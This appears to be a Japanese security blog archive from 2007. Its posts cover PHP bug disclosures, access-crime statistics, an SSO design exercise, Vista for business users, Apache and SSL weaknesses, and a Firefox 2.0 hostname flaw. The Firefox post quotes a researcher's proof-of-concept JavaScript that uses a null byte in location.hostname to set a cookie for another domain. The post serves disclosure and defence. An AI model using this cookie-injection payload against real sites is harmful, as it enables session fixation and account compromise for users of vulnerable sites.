カテゴリー
Computer Development Programming

Month of PHP bugs

Stefanさんが公言していた通り、セキュリティホールの公開が3月から始まるそうです。

The Month for the “Month of PHP bugs” was choosen and it will be March. This means I will post every day in March information about one or more vulnerabilities within PHP.

PHPの開発者は知っているがPHPの利用者はあまり知らないセキュリティ上の問題などもどんどん公開すればよいと思います。(セキュリティホールとして直すつもりがない物もあったりするので… )

たぶん私も知らない脆弱性もあるはずです。この忙しい時に対応しなければならないので困ったものです。せめて4月にしてもらいたい…

カテゴリー
Security

不正アクセス行為の現状

2/22日に総務省が公開している

不正アクセス行為の発生状況及びアクセス制御機能に関する技術の研究開発の状況
http://www.soumu.go.jp/s-news/2007/070222_3.html

「表2-2 不正アクセス行為の態様の推移」によると、昨年はセキュリティホールを利用してコンピュータを攻撃して検挙した事件はなかったそうです。以前はセキュリティホール攻撃型での検挙もあったのですが、セキュリティホールを攻撃するのはリスクが高いことが認知された(?)結果かもしれません。

金目当てならオークションが一番手っ取り早い、ということのようですね。

カテゴリー
Development

問題:SSOの実装

WebサイトでSSO(Single Sign On)を実装するところも増えてきています。
比較的最近、SSO実装について議論する機会が幾つかありました。WebでSSOを実装する場合にどう実装すべきか議論したのですが、設計上に問題がある実装をイメージされている場合がありました。

Webサイトの場合、認証情報・状態を管理するサーバ(認証サーバ )とそれを利用するサーバ(認証クライアント)が通信してSSOを実現します。

SSOの目的は

  • 認証情報(ユーザ名とパスワード)を一元管理する
  • 認証状態(ログイン状態)を一元管理する

です。

問題:SSOの実装には認証サーバと認証クライアントの通信にユーザ名・パスワードは必要ありません。認証サーバと認証クライアント間の通信にユーザ名・パスワードが必要ないSSO実装を述べよ。

CAS(JA-SIG Central Authentication Service)、JOSSO、OpenSSO等を使う、と言う手もあります。(JOSSO 1.5はPHP、ASPのインターフェースもできたようです)これらのSSOシステムを使うと問題の意味がありません。LLだけで作ってもたいした手間ではないので解答は全部自前で実装することが前提です。適切なセッション管理を各認証クライアント(サーバ)が行っている事とします。

解答は別のブログエントリで。
# 忙しいので早くても再来週くらい、かな。

カテゴリー
Windows

企業ユーザはVistaにアップグレードすべきか?

以前のエントリでVistaへのアップグレードを薦めていますが、これは個人ユーザはアップグレードした方が良い、できればすべての個人Windowsユーザがアップグレードした方が良いと思っています。非常に多くの個人ユーザPCがボット化されている現状を考えるとXPよりVistaのセキュリティモデル(UAC)の方が優れていることは明らかです。

しかし、企業ユーザも早くVistaにアップグレードするべきとは考えていません。私が書かなくでも既に多くのブログや記事などでVistaへのアップグレードで発生する問題とXPで提供されている機能の考慮すると、アップグレードするメリットは多くない事は明らかです。アプリケーションの互換性チェックとアプリケーションの修正やバージョンアップ、実際のアップグレード作業には非常に多くのコストが必要になります。XPでも適切に管理されているPCであれば、ホームPCに見られるような「常時管理者」でログインするセキュリティ上の問題もありません。既に適切に運用・管理されているXPであれば、Vistaにアップグレードする事により、より良いセキュリティが提供される訳でもありません。

一般的な企業環境ではWindowsのクライアントはドメインに参加し、一般ユーザはドメインの通常ユーザとしてログインして利用します。ホームPCの様に管理者グループの所属するユーザでログインするような事はないはずです。普通の企業のWindows PCはファイルアクセス権限も適切に管理されているので、一般ユーザはProgram FilesフォルダやWindowsフォルダに書き込みを行えません。

適切に運用・管理されている企業のWindowsクライアントは家庭のPCのようにUACによるセキュリティ上のメリットはありません。既にXPを適切に運用している企業はVistaへのアップグレードは「できる時に行えばよい」程度の優先度です。

Vista無用、有用どちらの議論にしても対象がだれなのか明確にした方がよいですね。企業ユーザはサポート・互換性の問題があるのでVistaを選択する必要性はないですが、個人ユーザが新規にPCを購入する場合は、既に持っているものでVistaで使えないなどの問題がない限り、迷わずVistaにするべきと思います。

# XP -> Vistaへのアップグレードは難しくないですが
# アップグレード後の調整は素人向けとは言えないので
# 自身の無い方にはお勧めしません。

# とはいっても自分が普段使っているアカウントがAdministrators
# グループに所属している方はVistaへのアップグレードをお勧め
# します。

カテゴリー
Security

Firefox 2.0の脆弱性

Firefox 2.0にNullバイト攻撃の可能性、よくあるバイナリセーフ/非バイナリセーフの問題ですが…

https://bugzilla.mozilla.org/show_bug.cgi?id=370445

The problem lies in how Firefox handles writes to the ‘location.hostname’ DOM property. It is possible for a script to set it to values that would not otherwise be accepted as a hostname when parsing a regular URL – including a string containing \x00.

実験ページ
http://lcamtuf.dione.cc/ffhostname.html

そのページのJavaScript

function do_evil(onload) {
  if (!onload) {
    try { location.hostname='lcamtuf.dione.cc\x00www.coredump.cx'; } 
      catch (err) { alert('Failed to modify location.hostname - probably not vulnerable.'); }
  } else if (location.hostname != 'lcamtuf.dione.cc') {
    document.cookie = 'testcookie=1234; domain=.coredump.cx; path=/';
    window.location = 'http://lcamtuf.coredump.cx/ffhostname.cgi';
  }

}

JavaScriptが実行できればどのサイトのクッキーでも設定できてしまいます。かなり強力な脆弱性なので NoScript を使いましょう…
https://addons.mozilla.org/firefox/722/

備考:Session Adoptionに脆弱なサイト(外部で設定されたセッションキーを受け入れるサイト)のユーザは危険。

カテゴリー
Security

Apacheの脆弱性

まだ確認してませんがこんなのが…

http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/apache/index.html

The Apache web server is prone to several non crítical vulnerabilities -by themselves- that could allow
by combining them, and on some specific scenarios, to carry out serious attacks, some of them with that impact:

1) Execution of script code in the client side:

1a)Web “defacements” (E-graffity)
2b)Phishing (authentication forms)
3c)System compromise (script execution on same domain than Admin Panel)

2) Location header injection -cache poisoning-:

2a) Denial of service
2b) Partial URL redirection

4) And the most innovative and interesting thing: almost arbitrary injections in the server HTTP response stream:

4a) “on the fly” fake injection of virus.
4b) In the future, with some additional hack, arbitrary injection of binaries -trojans, etc.-

カテゴリー
Security

SSL Hell

10月30日作成のページですが今みました。

Dan Kaminsky’s SSL Hell

結構笑えます。(英語のプレゼンテーションビデオです)
これではどのサイトも信用できないです。

追記:
ビデオの見なくても良いように一番重要な点だけ書きます。

SSLの公開鍵・秘密鍵がデフォルトのまま使っているサイトが多くある、というくだりです。銀行などのサイトでも「ありえない」と思える割合のサイトがデフォルトのキーペアを使っていて暗号化の意味がなくなっている!!!のだそうです。(詳しくはビデオを参照)

キーはサイト毎に生成するになぜこんな事が起きる?と思われる方もいるかもしれません。ハードウェア系のSSLソリューションには静的に生成されたデフォルトのキーペアが設定されている場合があるのですが、なんとそのキーを使っているサイトが多数存在する、とこのプレゼンで言っています…

笑うに笑えないですが、不謹慎にも笑ってしまいました。

教訓 ‐ デフォルトパスワードだけでなくデフォルトの鍵も使わない!
(当たり前すぎです…)